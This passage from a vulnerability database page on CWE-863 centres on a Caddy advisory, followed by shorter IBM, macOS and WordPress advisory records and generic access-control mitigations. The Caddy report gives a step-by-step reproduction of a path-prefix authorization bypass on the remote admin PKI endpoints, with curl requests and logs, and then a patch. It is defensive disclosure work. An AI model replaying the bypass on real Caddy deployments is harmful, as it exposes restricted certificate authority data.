This preserves intended access to subresources like:
- /pki/ca/prod/certificates
while correctly denying sibling resources like:
- /pki/ca/prod-backup
## Working Patch
diff --git a/admin.go b/admin.go index 0000000..0000000 100644 --- a/admin.go +++ b/admin.go @@ -716,8 +716,8 @@ func (remote RemoteAdmin) enforceAccessControls(r *http.Request) error { // verify path pathFound := accessPerm.Paths == nil for _, allowedPath := range accessPerm.Paths { - if strings.HasPrefix(r.URL.Path, allowedPath) { - pathFound = true + if r.URL.Path == allowedPath || strings.HasPrefix(r.URL.Path, allowedPath+"/") { + pathFound = true break } }
``` ## Why the Patch Works
The patch changes authorization from naive prefix matching to segment-aware matching.
This allows:
- /pki/ca/prod
- /pki/ca/prod/certificates
but denies:
- /pki/ca/prod-backup
- /pki/ca/prod1
which is consistent with the configured path policy.
## Suggested Regression Tests
At minimum:
- Allow /pki/ca/prod, request /pki/ca/prod, expect allowed.
- Allow /pki/ca/prod, request /pki/ca/prod/certificates, expect allowed.
- Allow /pki/ca/prod, request /pki/ca/prod-backup, expect denied.
- Allow /pki/ca/prod, request /pki/ca/prod1, expect denied.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/caddyserver/caddy/v2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.11.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-19T19:36:13Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## AI Disclosure\n\n I used an LLM to help review the source code, reason about attack surface, and help draft and refine this report.\n I manually validated the finding by reproducing it locally, confirming the vulnerable code path, and verifying the HTTP behavior with `curl -v`.\n\n ## Summary\n\n Caddy\u0027s remote admin access control performs path authorization using prefix matching:\n\n - [`admin.go`](/caddy/admin.go#L719): `strings.HasPrefix(r.URL.Path, allowedPath)`\n\n This allows a client certificate authorized only for `/pki/ca/prod` to access sibling PKI resources whose paths merely share the same prefix, such as `/pki/ca/prod-backup`.\n\n This is an authorization bug in Caddy\u0027s source code, not a misconfiguration issue. The configured policy is more restrictive than the behavior that Caddy actually enforces.\n\n ## Affected Component\n\n Remote admin access control for PKI admin endpoints.\n\n Relevant code:\n\n - [`admin.go`](/caddy/admin.go#L687)\n - [`admin.go`](/caddy/admin.go#L719)\n - [`modules/caddypki/adminapi.go`](/caddy/modules/caddypki/adminapi.go#L68)\n - [`modules/caddypki/adminapi.go`](/caddy/modules/caddypki/adminapi.go#L164)\n\n ## Root Cause\n\n In `RemoteAdmin.enforceAccessControls()`, allowed paths are checked like this:\n\n ```go\n for _, allowedPath := range accessPerm.Paths {\n \tif strings.HasPrefix(r.URL.Path, allowedPath) {\n \t\tpathFound = true\n \t\tbreak\n \t}\n }\n```\n\n This does not enforce a path-segment boundary.\n\n So if the allowed path is:\n\n /pki/ca/prod\n\n then all of the following are treated as authorized:\n\n - /pki/ca/prod-backup\n - /pki/ca/prod1\n - /pki/ca/prodanything\n\n For PKI admin endpoints, the CA ID is taken directly from the request path:\n\n - modules/caddypki/adminapi.go:164\n\n So /pki/ca/prod-backup is interpreted as CA ID prod-backup, even though only /pki/ca/prod was intended to be allowed.\n\n ## Security Impact\n\n A remote admin client certificate restricted to one PKI CA path can access other CA resources with the same prefix.\n\n This breaks least-privilege remote admin policies and results in authenticated authorization bypass.\n\n ## Minimal Configuration\n\n File: repro.json\n```\n {\n \"admin\": {\n \"listen\": \"127.0.0.1:2019\",\n \"identity\": {\n \"identifiers\": [\"localhost\"],\n \"issuers\": [\n { \"module\": \"internal\" }\n ]\n },\n \"remote\": {\n \"listen\": \"127.0.0.1:2021\",\n \"access_control\": [\n {\n \"public_keys\": [\"\u003cCLIENT_CERT_BASE64_DER\u003e\"],\n \"permissions\": [\n {\n \"methods\": [\"GET\"],\n \"paths\": [\"/pki/ca/prod\"]\n }\n ]\n }\n ]\n }\n },\n \"apps\": {\n \"pki\": {\n \"certificate_authorities\": {\n \"prod\": {\n \"name\": \"prod\"\n },\n \"prod-backup\": {\n \"name\": \"prod-backup\"\n }\n }\n }\n }\n }\n\n```\n ## Reproduction Steps From Scratch\n\n ### 1. Generate a client certificate\n```\n openssl req -x509 -newkey rsa:2048 -nodes -days 365 \\\n -subj \u0027/CN=remote-admin-client\u0027 \\\n -keyout client.key \\\n -out client.crt\n\n```\n\n ### 2. Convert the client certificate to base64 DER\n\n CLIENT_CERT_B64=\"$(openssl x509 -in client.crt -outform der | base64 | tr -d \u0027\\n\u0027)\"\n\n ### 3. Put that value into repro.json\n\n Replace:\n\n \u003cCLIENT_CERT_BASE64_DER\u003e\n\n with the value of CLIENT_CERT_B64.\n\n ### 4. Run Caddy\n\n go run ./cmd/caddy run --config ./repro.json\n\n ### 5. Confirm access to the intended allowed path\n```\n curl -vk \\\n --resolve localhost:2021:127.0.0.1 \\\n --cert ./client.crt \\\n --key ./client.key \\\n https://localhost:2021/pki/ca/prod\n```\n Expected result:\n\n - HTTP/1.1 200 OK\n\n ### 6. Request a different CA whose path shares the same prefix\n```\n curl -vk \\\n --resolve localhost:2021:127.0.0.1 \\\n --cert ./client.crt \\\n --key ./client.key \\\n https://localhost:2021/pki/ca/prod-backup\n```\n Expected secure behavior:\n\n - HTTP/1.1 403 Forbidden\n\n Actual behavior:\n\n - HTTP/1.1 200 OK\n\n ## Precise HTTP Requests and Output\n\n ### Allowed path\n```\n curl -vk \\\n --resolve localhost:2021:127.0.0.1 \\\n --cert ./client.crt \\\n --key ./client.key \\\n https://localhost:2021/pki/ca/prod\n```\n Response excerpt:\n```\n \u003e GET /pki/ca/prod HTTP/1.1\n \u003e Host: localhost:2021\n \u003e User-Agent: curl/8.5.0\n \u003e Accept: */*\n \u003e\n \u003c HTTP/1.1 200 OK\n \u003c Content-Type: application/json\n```\n ### Unauthorized sibling path that is incorrectly allowed\n```\n curl -vk \\\n --resolve localhost:2021:127.0.0.1 \\\n --cert ./client.crt \\\n --key ./client.key \\\n https://localhost:2021/pki/ca/prod-backup\n```\n Response excerpt:\n```\n \u003e GET /pki/ca/prod-backup HTTP/1.1\n \u003e Host: localhost:2021\n \u003e User-Agent: curl/8.5.0\n \u003e Accept: */*\n \u003e\n \u003c HTTP/1.1 200 OK\n \u003c Content-Type: application/json\n```\n The body returned CA information for prod-backup, despite the configured permission only allowing /pki/ca/prod.\n\n ## Full Log Output\n\nsever :\n```\nroot@dbdd95a60758:/caddy# go run ./cmd/caddy run --config /caddy/repro.json\n2026/03/19 13:58:13.747\tINFO\tmaxprocs: Leaving GOMAXPROCS=16: CPU quota undefined\n2026/03/19 13:58:13.747\tINFO\tGOMEMLIMIT is updated\t{\"GOMEMLIMIT\": 26273105510, \"previous\": 9223372036854775807}\n2026/03/19 13:58:13.747\tINFO\tusing config from file\t{\"file\": \"/caddy/repro.json\"}\n2026/03/19 13:58:13.757\tINFO\tadmin\tadmin endpoint started\t{\"address\": \"127.0.0.1:2019\", \"enforce_origin\": false, \"origins\": [\"//localhost:2019\", \"//[::1]:2019\", \"//127.0.0.1:2019\"]}\n2026/03/19 13:58:13.757\tWARN\tpki.ca.prod\tinstalling root certificate (you might be prompted for password)\t{\"path\": \"storage:pki/authorities/prod/root.crt\"}\n2026/03/19 13:58:13.757\tINFO\twarning: \"certutil\" is not available, install \"certutil\" with \"apt install libnss3-tools\" or \"yum install nss-tools\" and try again\n2026/03/19 13:58:13.757\tINFO\tdefine JAVA_HOME environment variable to use the Java trust\n2026/03/19 13:58:14.406\tINFO\tcertificate installed properly in linux trusts\n2026/03/19 13:58:14.406\tWARN\tpki.ca.prod-backup\tinstalling root certificate (you might be prompted for password)\t{\"path\": \"storage:pki/authorities/prod-backup/root.crt\"}\n2026/03/19 13:58:14.407\tINFO\twarning: \"certutil\" is not available, install \"certutil\" with \"apt install libnss3-tools\" or \"yum install nss-tools\" and try again\n2026/03/19 13:58:14.407\tINFO\tdefine JAVA_HOME environment variable to use the Java trust\n2026/03/19 13:58:15.038\tINFO\tcertificate installed properly in linux trusts\n2026/03/19 13:58:15.045\tINFO\tadmin.identity.cache.maintenance\tstarted background certificate maintenance\t{\"cache\": \"0xc0006a4480\"}\n2026/03/19 13:58:15.046\tINFO\tadmin.remote\tsecure admin remote control endpoint started\t{\"address\": \"127.0.0.1:2021\"}\n2026/03/19 13:58:15.046\tINFO\tadmin.identity.obtain\tacquiring lock\t{\"identifier\": \"localhost\"}\n2026/03/19 13:58:15.046\tINFO\tautosaved config (load with --resume flag)\t{\"file\": \"/root/.config/caddy/autosave.json\"}\n2026/03/19 13:58:15.046\tINFO\tserving initial configuration\n2026/03/19 13:58:15.047\tINFO\tadmin.identity.obtain\tlock acquired\t{\"identifier\": \"localhost\"}\n2026/03/19 13:58:15.047\tINFO\tadmin.identity.obtain\tobtaining certificate\t{\"identifier\": \"localhost\"}\n2026/03/19 13:58:15.049\tINFO\tadmin.identity.obtain\tcertificate obtained successfully\t{\"identifier\": \"localhost\", \"issuer\": \"local\"}\n2026/03/19 13:58:15.049\tINFO\tadmin.identity.obtain\treleasing lock\t{\"identifier\": \"localhost\"}\n2026/03/19 13:58:15.050\tWARN\tadmin.identity\tstapling OCSP\t{\"identifiers\": [\"localhost\"]}\n2026/03/19 13:59:36.896\tINFO\tadmin.api\treceived request\t{\"method\": \"GET\", \"host\": \"localhost:2021\", \"uri\": \"/pki/ca/prod\", \"remote_ip\": \"127.0.0.1\", \"remote_port\": \"40728\", \"headers\": {\"Accept\":[\"*/*\"],\"User-Agent\":[\"curl/8.5.0\"]}, \"secure\": true, \"verified_chains\": 1}\n2026/03/19 14:00:24.102\tINFO\tadmin.api\treceived request\t{\"method\": \"GET\", \"host\": \"localhost:2021\", \"uri\": \"/pki/ca/prod-backup\", \"remote_ip\": \"127.0.0.1\", \"remote_port\": \"60490\", \"headers\": {\"Accept\":[\"*/*\"],\"User-Agent\":[\"curl/8.5.0\"]}, \"secure\": true, \"verified_chains\": 1}\n2026/03/19 14:00:33.774\tINFO\tadmin.api\treceived request\t{\"method\": \"GET\", \"host\": \"localhost:2021\", \"uri\": \"/pki/ca/prod-backup\", \"remote_ip\": \"127.0.0.1\", \"remote_port\": \"46918\", \"headers\": {\"Accept\":[\"*/*\"],\"User-Agent\":[\"curl/8.5.0\"]}, \"secure\": true, \"verified_chains\": 1}\n```\n\n\ncurl :\n```\nroot@dbdd95a60758:/caddy# curl -vk \\\n --resolve localhost:2021:127.0.0.1 \\\n --cert /caddy/client.crt \\\n --key /caddy/client.key \\\n https://localhost:2021/pki/ca/prod\n* Added localhost:2021:127.0.0.1 to DNS cache\n* Hostname localhost was found in DNS cache\n* Trying 127.0.0.1:2021...\n* Connected to localhost (127.0.0.1) port 2021\n* ALPN: curl offers h2,http/1.1\n* TLSv1.3 (OUT), TLS handshake, Client hello (1):\n* TLSv1.3 (IN), TLS handshake, Server hello (2):\n* TLSv1.3 (IN), TLS handshake, Encrypted Extensions (8):\n* TLSv1.3 (IN), TLS handshake, Request CERT (13):\n* TLSv1.3 (IN), TLS handshake, Certificate (11):\n* TLSv1.3 (IN), TLS handshake, CERT verify (15):\n* TLSv1.3 (IN), TLS handshake, Finished (20):\n* TLSv1.3 (OUT), TLS change cipher, Change cipher spec (1):\n* TLSv1.3 (OUT), TLS handshake, Certificate (11):\n* TLSv1.3 (OUT), TLS handshake, CERT verify (15):\n* TLSv1.3 (OUT), TLS handshake, Finished (20):\n* SSL connection using TLSv1.3 / TLS_AES_128_GCM_SHA256 / X25519 / id-ecPublicKey\n* ALPN: server did not agree on a protocol. Uses default.\n* Server certificate:\n* subject: [NONE]\n* start date: Mar 19 13:58:15 2026 GMT\n* expire date: Mar 20 01:58:15 2026 GMT\n* issuer: CN=Caddy Local Authority - ECC Intermediate\n* SSL certificate verify result: unable to get local issuer certificate (20), continuing anyway.\n* Certificate level 0: Public key type EC/prime256v1 (256/128 Bits/secBits), signed using ecdsa-with-SHA256\n* Certificate level 1: Public key type EC/prime256v1 (256/128 Bits/secBits), signed using ecdsa-with-SHA256\n* using HTTP/1.x\n\u003e GET /pki/ca/prod HTTP/1.1\n\u003e Host: localhost:2021\n\u003e User-Agent: curl/8.5.0\n\u003e Accept: */*\n\u003e \n* TLSv1.3 (IN), TLS handshake, Newsession Ticket (4):\n\u003c HTTP/1.1 200 OK\n\u003c Content-Type: application/json\n\u003c Date: Thu, 19 Mar 2026 13:59:36 GMT\n\u003c Content-Length: 1410\n\u003c \n{\"id\":\"prod\",\"name\":\"prod\",\"root_common_name\":\"prod - 2026 ECC Root\",\"intermediate_common_name\":\"prod - ECC Intermediate\",\"root_certificate\":\"-----BEGIN CERTIFICATE-----\\nMIIBgDCCASegAwIBAgIQc9RlUm1dn8xVrPjKdqtb/TAKBggqhkjOPQQDAjAfMR0w\\nGwYDVQQDExRwcm9kIC0gMjAyNiBFQ0MgUm9vdDAeFw0yNjAzMTkxMzU4MTNaFw0z\\nNjAxMjYxMzU4MTNaMB8xHTAbBgNVBAMTFHByb2QgLSAyMDI2IEVDQyBSb290MFkw\\nEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEC+L/zt5e1B08ebSd//MN2zkPZPIIe/8d\\nAfdvLfaLpKXEDHdpMUkv+B1ZfJ5ADCKGHby7hMcOmNxd3dN2so2TvaNFMEMwDgYD\\nVR0PAQH/BAQDAgEGMBIGA1UdEwEB/wQIMAYBAf8CAQEwHQYDVR0OBBYEFEjO3f/T\\ngS+YsLBLu5qoAfzrButkMAoGCCqGSM49BAMCA0cAMEQCIFph9BmyT0EuWH+5FWaJ\\nVI0RoHaSNe4YmKhCT0bxlOV/AiAVYjtkncsfNxnIoVtcRWebiKfX4neEAvp6zy/m\\n4LabLA==\\n-----END CERTIFICATE-----\\n\",\"intermediate_certificate\":\"-----BEGIN CERTIFICATE-----\\nMIIBpjCCAUugAwIBAgIQeDYa6T6mhf1UR2ZojWa/NjAKBggqhkjOPQQDAjAfMR0w\\nGwYDVQQDExRwcm9kIC0gMjAyNiBFQ0MgUm9vdDAeFw0yNjAzMTkxMzU4MTNaFw0y\\nNjAzMjYxMzU4MTNaMCIxIDAeBgNVBAMTF3Byb2QgLSBFQ0MgSW50ZXJtZWRpYXRl\\nMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQc* Connection #0 to host localhost left intact\nDQgAEDvNEubxYmGliE/jZf+scF4ln9FGi\\nKxGlIBy91xltHw85PZFoPUNYoXZc797RNE89XfPLNzcTmcQ36zAfibXkBaNmMGQw\\nDgYDVR0PAQH/BAQDAgEGMBIGA1UdEwEB/wQIMAYBAf8CAQAwHQYDVR0OBBYEFORU\\nKtaSzBJ30Yh6xLKBlF3NkXwyMB8GA1UdIwQYMBaAFEjO3f/TgS+YsLBLu5qoAfzr\\nButkMAoGCCqGSM49BAMCA0kAMEYCIQCPsqN6 curl -vk \\2CdQNYGrH10qYPhO\\nMx19KoL/bQIhANyK3kmXwiQ2p6jEuVTIDxLJ1nC6JCDKWoSCXv/m+00Y\\n-----END CERTIFICATE-----\\n\"}\n\n\nroot@dbdd95a60758:/caddy# \nroot@dbdd95a60758:/caddy# \nroot@dbdd95a60758:/caddy# \nroot@dbdd95a60758:/caddy# curl -vk \\\n --resolve localhost:2021:127.0.0.1 \\\n --cert /caddy/client.crt \\\n --key /caddy/client.key \\\n https://localhost:2021/pki/ca/prod-backup\n* Added localhost:2021:127.0.0.1 to DNS cache\n* Hostname localhost was found in DNS cache\n* Trying 127.0.0.1:2021...\n* Connected to localhost (127.0.0.1) port 2021\n* ALPN: curl offers h2,http/1.1\n* TLSv1.3 (OUT), TLS handshake, Client hello (1):\n* TLSv1.3 (IN), TLS handshake, Server hello (2):\n* TLSv1.3 (IN), TLS handshake, Encrypted Extensions (8):\n* TLSv1.3 (IN), TLS handshake, Request CERT (13):\n* TLSv1.3 (IN), TLS handshake, Certificate (11):\n* TLSv1.3 (IN), TLS handshake, CERT verify (15):\n* TLSv1.3 (IN), TLS handshake, Finished (20):\n* TLSv1.3 (OUT), TLS change cipher, Change cipher spec (1):\n* TLSv1.3 (OUT), TLS handshake, Certificate (11):\n* TLSv1.3 (OUT), TLS handshake, CERT verify (15):\n* TLSv1.3 (OUT), TLS handshake, Finished (20):\n* SSL connection using TLSv1.3 / TLS_AES_128_GCM_SHA256 / X25519 / id-ecPublicKey\n* ALPN: server did not agree on a protocol. Uses default.\n* Server certificate:\n* subject: [NONE]\n* start date: Mar 19 13:58:15 2026 GMT\n* expire date: Mar 20 01:58:15 2026 GMT\n* issuer: CN=Caddy Local Authority - ECC Intermediate\n* SSL certificate verify result: unable to get local issuer certificate (20), continuing anyway.\n* Certificate level 0: Public key type EC/prime256v1 (256/128 Bits/secBits), signed using ecdsa-with-SHA256\n* Certificate level 1: Public key type EC/prime256v1 (256/128 Bits/secBits), signed using ecdsa-with-SHA256\n* using HTTP/1.x\n\u003e GET /pki/ca/prod-backup HTTP/1.1\n\u003e Host: localhost:2021\n\u003e User-Agent: curl/8.5.0\n\u003e Accept: */*\n\u003e \n* TLSv1.3 (IN), TLS handshake, Newsession Ticket (4):\n\u003c HTTP/1.1 200 OK\n\u003c Content-Type: application/json\n\u003c Date: Thu, 19 Mar 2026 14:00:33 GMT\n\u003c Content-Length: 1476\n\u003c \n{\"id\":\"prod-backup\",\"name\":\"prod-backup\",\"root_common_name\":\"prod-backup - 2026 ECC Root\",\"intermediate_common_name\":\"prod-backup - ECC Intermediate\",\"root_certificate\":\"-----BEGIN CERTIFICATE-----\\nMIIBjjCCATWgAwIBAgIQT1WaOdq8CllHL5S6sAnk8TAKBggqhkjOPQQDAjAmMSQw\\nIgYDVQQDExtwcm9kLWJhY2t1cCAtIDIwMjYgRUNDIFJvb3QwHhcNMjYwMzE5MTM1\\nODEzWhcNMzYwMTI2MTM1ODEzWjAmMSQwIgYDVQQDExtwcm9kLWJhY2t1cCAtIDIw\\nMjYgRUNDIFJvb3QwWTATBgcqhkjOPQIBBggqhkjOPQMBBwNCAAT0+xx/GaeAr+/I\\nZcKDeqZ068wOshKbcqydNJauAgbip7i88d76qYyQr+X7ooMYcmRV445suZ0NHn00\\ndGIjpStZo0UwQzAOBgNVHQ8BAf8EBAMCAQYwEgYDVR0TAQH/BAgwBgEB/wIBATAd\\nBgNVHQ4EFgQU9oZZqnBlvHmEti9gsN7cSStl8tIwCgYIKoZIzj0EAwIDRwAwRAIg\\ncXbK46l4eAyrW3y9sgUBcheutkytG0d2cqgD67HuqdQCICI8E2O42zfz1afR/Joj\\nalNeF17VljePo75gPjIOp5kv\\n-----END CERTIFICATE-----\\n\",\"intermediate_certificate\":\"-----BEGIN CERTIFICATE-----\\nMIIBtDCCAVmgAwIBAgIQFJSHXX6ao3EgdKjGdRXeiDAKBggqhkjOPQQDAjAmMSQw\\nIgYDVQQDExtwcm9kLWJhY2t1cCAtIDIwMjYgRUNDIFJvb3QwHhcNMjYwMzE5MTM1\\nODEzWhcNMjYwMzI2MTM1ODEzWjApMScwJQYDVQQDEx5wcm9kLWJhY* Connection #0 to host localhost left intact\n2t1cCAtIEVD\\nQyBJbnRlcm1lZGlhdGUwWTATBgcqhkjOPQIBBggqhkjOPQMBBwNCAARbdjKxj1Ce\\n4iCF1dbKGgsob9jH29DiUow/0yNJ6Cb7IBh0mAKK0y/nU+C6IfcFBgFOmla8wHhI\\njyKVLy38Jb87o2YwZDAOBgNVHQ8BAf8EBAMCAQYwEgYDVR0TAQH/BAgwBgEB/wIB\\nADAdBgNVHQ4EFgQUescC8F6u/krP+iw9Uc2FpqrorG0wHwYDVR0jBBgwFoAU9oZZ\\nqnBlvHmEti9gsN7cSStl8tIwCgYIKoZIzj0EAwIDSQAwRgIhANm2Zxrs2q6JI5B0\\nmMh4PWJM9ilOu/0C/jTMSK3otqEqAiEAor00ItWkpcgLpXI4lRbefzeTM+f8yr6V\\nXryCbtlyT38=\\n-----END CERTIFICATE-----\\n\"}\n\n```\n\n\n ## Why This Is Not Just Misconfiguration\n\n The configuration explicitly attempts to restrict access to:\n\n /pki/ca/prod\n\n The unsafe behavior is caused by Caddy\u0027s implementation using prefix matching instead of segment-aware matching. The product does not enforce the configured policy as written.\n\n ## Suggested Fix\n\n Path authorization should allow:\n\n - exact match, or\n - subpath match only when the next character is /\n\n For example:\n```\n func pathAllowed(reqPath, allowedPath string) bool {\n \tif reqPath == allowedPath {\n \t\treturn true\n \t}\n \treturn strings.HasPrefix(reqPath, allowedPath+\"/\")\n }\n```\n This preserves intended access to subresources like:\n\n - /pki/ca/prod/certificates\n\n while correctly denying sibling resources like:\n\n - /pki/ca/prod-backup\n\n ## Working Patch\n\n```\n diff --git a/admin.go b/admin.go\n index 0000000..0000000 100644\n --- a/admin.go\n +++ b/admin.go\n @@ -716,8 +716,8 @@ func (remote RemoteAdmin) enforceAccessControls(r *http.Request) error {\n \t\t\t\t\t\t// verify path\n \t\t\t\t\t\tpathFound := accessPerm.Paths == nil\n \t\t\t\t\t\tfor _, allowedPath := range accessPerm.Paths {\n -\t\t\t\t\t\t\tif strings.HasPrefix(r.URL.Path, allowedPath) {\n -\t\t\t\t\t\t\t\tpathFound = true\n +\t\t\t\t\t\t\tif r.URL.Path == allowedPath || strings.HasPrefix(r.URL.Path, allowedPath+\"/\") {\n +\t\t\t\t\t\t\t\tpathFound = true\n \t\t\t\t\t\t\t\tbreak\n \t\t\t\t\t\t\t}\n \t\t\t\t\t\t}\n\n\n```\n ## Why the Patch Works\n\n The patch changes authorization from naive prefix matching to segment-aware matching.\n\n This allows:\n\n - /pki/ca/prod\n - /pki/ca/prod/certificates\n\n but denies:\n\n - /pki/ca/prod-backup\n - /pki/ca/prod1\n\n which is consistent with the configured path policy.\n\n ## Suggested Regression Tests\n\n At minimum:\n\n 1. Allow /pki/ca/prod, request /pki/ca/prod, expect allowed.\n 2. Allow /pki/ca/prod, request /pki/ca/prod/certificates, expect allowed.\n 3. Allow /pki/ca/prod, request /pki/ca/prod-backup, expect denied.\n 4. Allow /pki/ca/prod, request /pki/ca/prod1, expect denied.",
"id": "GHSA-gx7w-56w6-g48x",
"modified": "2026-05-19T19:36:13Z",
"published": "2026-05-19T19:36:13Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/caddyserver/caddy/security/advisories/GHSA-gx7w-56w6-g48x"
},
{
"type": "PACKAGE",
"url": "https://github.com/caddyserver/caddy"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Caddy: Remote Admin Authorization Bypass on PKI Endpoints via Prefix-Based Path Matching"
}
GHSA-GXH6-67J7-VMJM
Vulnerability from github – Published: 2022-05-24 17:26 – Updated: 2022-05-24 17:26A vulnerability exsists in IBM Planning Analytics 2.0 whereby avatars in Planning Analytics Workspace could be modified by other users without authorization to do so. IBM X-Force ID: 186019.
{
"affected": [],
"aliases": [
"CVE-2020-4648"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-08-19T13:15:00Z",
"severity": "MODERATE"
},
"details": "A vulnerability exsists in IBM Planning Analytics 2.0 whereby avatars in Planning Analytics Workspace could be modified by other users without authorization to do so. IBM X-Force ID: 186019.",
"id": "GHSA-gxh6-67j7-vmjm",
"modified": "2022-05-24T17:26:08Z",
"published": "2022-05-24T17:26:08Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-4648"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/186019"
},
{
"type": "WEB",
"url": "https://www.ibm.com/support/pages/node/6254788"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-GXR6-295X-JMJX
Vulnerability from github – Published: 2022-05-24 17:46 – Updated: 2022-05-24 17:46A logic issue was addressed with improved restrictions. This issue is fixed in macOS Big Sur 11.1, Security Update 2020-001 Catalina, Security Update 2020-007 Mojave, macOS Big Sur 11.0.1. A sandboxed process may be able to circumvent sandbox restrictions.
{
"affected": [],
"aliases": [
"CVE-2020-27901"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-04-02T18:15:00Z",
"severity": "MODERATE"
},
"details": "A logic issue was addressed with improved restrictions. This issue is fixed in macOS Big Sur 11.1, Security Update 2020-001 Catalina, Security Update 2020-007 Mojave, macOS Big Sur 11.0.1. A sandboxed process may be able to circumvent sandbox restrictions.",
"id": "GHSA-gxr6-295x-jmjx",
"modified": "2022-05-24T17:46:08Z",
"published": "2022-05-24T17:46:08Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-27901"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/HT211931"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/HT212011"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-H24Q-RF77-P6MC
Vulnerability from github – Published: 2023-07-27 09:30 – Updated: 2024-04-04 06:23The ACF Photo Gallery Field plugin for WordPress is vulnerable to unauthorized modification of data due to an insufficient restriction on the 'apg_profile_update' function in versions up to, and including, 1.9. This makes it possible for authenticated attackers, with subscriber-level permissions or above, to update the user metas arbitrarily. The meta value can only be a string.
{
"affected": [],
"aliases": [
"CVE-2023-3957"
],
"database_specific": {
"cwe_ids": [
"CWE-285",
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-07-27T07:15:10Z",
"severity": "MODERATE"
},
"details": "The ACF Photo Gallery Field plugin for WordPress is vulnerable to unauthorized modification of data due to an insufficient restriction on the \u0027apg_profile_update\u0027 function in versions up to, and including, 1.9. This makes it possible for authenticated attackers, with subscriber-level permissions or above, to update the user metas arbitrarily. The meta value can only be a string.",
"id": "GHSA-h24q-rf77-p6mc",
"modified": "2024-04-04T06:23:48Z",
"published": "2023-07-27T09:30:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-3957"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/navz-photo-gallery/tags/1.9/includes/acf_photo_gallery_save.php#L42"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset/2943404/navz-photo-gallery#file0"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/689511e0-1355-4fcb-8a72-d819abc8e9a3?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
Mitigation
- Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries.
- Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
Mitigation
Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].
Mitigation MIT-4.4
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
Mitigation
- For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.
- One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
Mitigation
Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.
No CAPEC attack patterns related to this CWE.